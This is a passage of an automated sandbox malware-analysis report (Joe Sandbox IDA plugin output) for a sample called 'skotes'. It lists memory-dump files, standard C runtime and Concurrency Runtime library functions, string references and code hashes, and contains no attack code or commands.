Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: d21032ebeeb16c48c9c89783bf26468b06838a204b618b0db57ffcb88548cb2d
Instruction ID: 02328bc96db8cf68974aaec191de55a79fa2407d7a4c74a16fcb60641a12b242
Opcode Fuzzy Hash: d21032ebeeb16c48c9c89783bf26468b06838a204b618b0db57ffcb88548cb2d
Instruction Fuzzy Hash: E7C18D71800609EFCF17DFA4D881AAEBBB5BF14311F16415AF806AB202D771DA92CF91

Function 00394840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00394877
___except_validate_context_record.LIBVCRUNTIME ref: 0039487F
_ValidateLocalCookies.LIBCMT ref: 00394908
__IsNonwritableInCurrentImage.LIBCMT ref: 00394933
_ValidateLocalCookies.LIBCMT ref: 00394988

Strings

S99, xrefs: 00394925, 0039492E, 0039493F
csm, xrefs: 0039491D

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S99$csm
API String ID: 1170836740-522605699
Opcode ID: 703423a2adc6f34eda1fb9b51d9df9bcc809ef6d59bb36838582ac916e95c75f
Instruction ID: 4f43fecbb1b473cf5a28ee26a22ee2f226eeddcf6cf41d1a8e89dee7dc9c0f26
Opcode Fuzzy Hash: 703423a2adc6f34eda1fb9b51d9df9bcc809ef6d59bb36838582ac916e95c75f
Instruction Fuzzy Hash: A641D234A10208EFCF12DF68C884E9FBBB4AF45328F148155E9199B392D7729E56CB91

Function 00387364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 003873B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 003873F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0038740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00387419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00387440

Strings

count, xrefs: 0038737E
ppVirtualProcessorRoots, xrefs: 00387438

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: b72368bcfc8ce585e8f537f7d88bcdd4bcba1c9635fa6f11f8d26c8982ca851a
Instruction ID: 578fb6081a181da102a47d82c813029594a97ff37a02e9125bd9c2ba64314e91
Opcode Fuzzy Hash: b72368bcfc8ce585e8f537f7d88bcdd4bcba1c9635fa6f11f8d26c8982ca851a
Instruction Fuzzy Hash: 50216F34A00309AFCB16FF69C4959EDBBB5BF49304F5540A9E9059B251CB70EE04CB91

Function 0037EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0037EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0037EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0037EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0037EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0037EF31

Strings

i7, xrefs: 0037EED0

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i7
API String ID: 1182035702-4224221080
Opcode ID: 35b0e24b6b83f42d345467c020e3573f150bef207550f726b92ed5eb75494e23
Instruction ID: f483c5ef12380019937c1a07854a43d9105c8877fe16878e8484f0b004c78990
Opcode Fuzzy Hash: 35b0e24b6b83f42d345467c020e3573f150bef207550f726b92ed5eb75494e23
Instruction Fuzzy Hash: 27217170C102098EDF36EFA4C4456EEB7F0FF19320F1289A9E159AA5D1E7B94A44CB51

Function 003878E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00387903

Part of subcall function 00385CB8: __EH_prolog3_catch.LIBCMT ref: 00385CBF
Part of subcall function 00385CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00385CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0038792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00387936

Part of subcall function 00385CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00385D70
Part of subcall function 00385CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00385D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00387982
Concurrency::location::_Assign.LIBCMT ref: 003879A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 003879AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 003879BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 003879ED

Part of subcall function 0038691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00386942
Part of subcall function 0038691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00386965

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: cbdbaaffedf3af2c5b3c51046a5093fac753d7b61b21b9e4e6dc7ac8492bd5f2
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: F031E431B08355ABCF17BA7848927FEBBBB9F51300F2401E9D495DB242EB248D4AC791

Function 003A4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 003A4C98
__alloca_probe_16.LIBCMT ref: 003A4D5E
